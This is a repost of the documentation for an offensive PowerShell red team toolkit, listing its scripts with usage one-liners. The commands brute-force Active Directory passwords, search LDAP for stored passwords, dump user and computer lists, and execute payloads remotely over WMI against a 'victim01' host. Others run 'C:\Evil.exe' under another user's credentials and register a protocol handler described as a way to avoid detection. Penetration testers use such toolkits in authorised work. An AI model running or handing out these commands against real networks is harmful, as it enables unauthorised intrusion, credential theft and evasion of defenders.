Red Team Powershell Scripts

I do not own the below commands, they are taken from https://github.com/Mr-Un1k0d3r/RedTeamPowershellScripts

Search-EventForUser.ps1: Powershell script that search through the Windows event logs for specific user(s)
Search-FullNameToSamAccount.ps1: Full name to SamAccountName
Search-UserPassword.ps1: Search LDAP for userPassword field
Remote-WmiExecute.ps1: Execute command remotely using WMI
Take-Screenshot.ps1: Take a screenshot (PNG)
Get-BrowserHomepage.ps1: Get browser homepage
Get-IEBookmarks.ps1: List all Internet Explorer bookmarks URLs
Invoke-ADPasswordBruteForce.ps1: Test users password
Utility.ps1: Contain several cmdlets
Run-As.ps1: Run a process as another user (credentials)
Get-ProcessList.ps1: List processes, owner and command line arguments
Remote-RegisterProtocolHandler.ps1: Use protocol handler to run your command to bypass some detection
Add-UserLogonScript: Add a logon script to a specific user

Search-EventForUser.ps1 Usage

module-import .\Search-EventForUser.ps1; Search-EventForUser -TargetUser "MrUn1k0d3r"

module-import .\Search-EventForUser.ps1; "MrUn1k0d3r" | Search-EventForUser

module-import .\Search-EventForUser.ps1; Search-EventForUser -TargetUser MrUn1k0d3r -ComputerName DC01

module-import .\Search-EventForUser.ps1; Search-EventForUser -TargetUser MrUn1k0d3r -FindDC true

module-import .\Search-EventForUser.ps1; "god", "mom" | Search-EventForUser -FindDC true

module-import .\Search-EventForUser.ps1; "god", "mom" | Search-EventForUser -FindDC true -Username DOMAIN\admin -Password "123456"

The -User parameter support single user or a list of users from pipeline

Search-FullNameToSamAccount.ps1 Usage

module-import .\Search-FullNameToSamAccount.ps1; Search-FullNameToSamAccount -Filter *god*

module-import .\Search-FullNameToSamAccount.ps1; "god", "mom" | Search-FullNameToSamAccount

Search-UserPassword.ps1 Usage

module-import .\Search-UserPassword.ps1; Search-UserPassword -Username *god*

module-import .\Search-UserPassword.ps1; "god", "mom" | Search-UserPassword

Remote-WmiExecute.ps1 Usage

module-import .\Remote-WmiExecute.ps1; Remote-WmiExecute -ComputerName victim01 -Payload "cmd.exe /c whoami"

Take-Screenshot.ps1 Usage

module-import .\Take-Screenshot.ps1; Take-Screenshot -Path C:\test.png

Get-BrowserHomepage.ps1 Usage

module-import .\Get-BrowserHomepage.ps1; Get-BrowserHomepage

Get-IEBookmarks.ps1 Usage

module-import .\Get-IEBookmarks.ps1; Get-IEBookmarks

Invoke-ADPasswordBruteForce.ps1 Usage

module-import .\Invoke-ADPasswordBruteForce; Invoke-ADPasswordBruteForce -Username "mr.un1k0d3r" -Password "password"

module-import .\Invoke-ADPasswordBruteForce; "neo","morpheus" | Invoke-ADPasswordBruteForce -Password "password"

module-import .\Invoke-ADPasswordBruteForce; "neo","morpheus" | Invoke-ADPasswordBruteForce -Password "password" -Domain MATRIX

Utility.ps1

Contain de following cmdlets

Search-EventForUser
Search-EventForUserByDomain
Search-EventForUserByIP
Search-FullNameToSamAccount
Ldap-GetProperty
Search-UserPassword
Dump-UserEmail
Dump-Computers
Dump-UserName

Run-As.ps1

module-import .\Run-As.ps1; Run-As -Username RingZer0\Mr.Un1k0d3r -Password "IShouldNotLeakThisPasswordOnTheInternet" -Process "C:\Evil.exe"

COM-Utility.ps1

Contain de following cmdlets

Invoke-COM-ScheduleService
Invoke-COM-XMLHTTP
Invoke-COM-ShellBrowserWindow
Invoke-COM-WindowsScriptHost
Invoke-COM-ProcessChain 
Invoke-COM-ShellApplication

Get-ProcessList.ps1 Usage

module-import .\Get-ProcessList.ps1; Get-ProcessList

Remote-RegisterProtocolHandler.ps1 Usage

This cmdlet create a protocol handler that will call your payload. The idea is to avoid detection since the command that will be execute will look like the following one:

explorer ms-browse://

Where ms-browser is the custom handler you registered and will execute your command

module-import .\Remote-RegisterProtocolHandler.ps1; Remote-RegisterProtocolHandler -ComputerName host -Payload "command to run"
module-import .\Remote-RegisterProtocolHandler.ps1; Remote-RegisterProtocolHandler -ComputerName host -Payload

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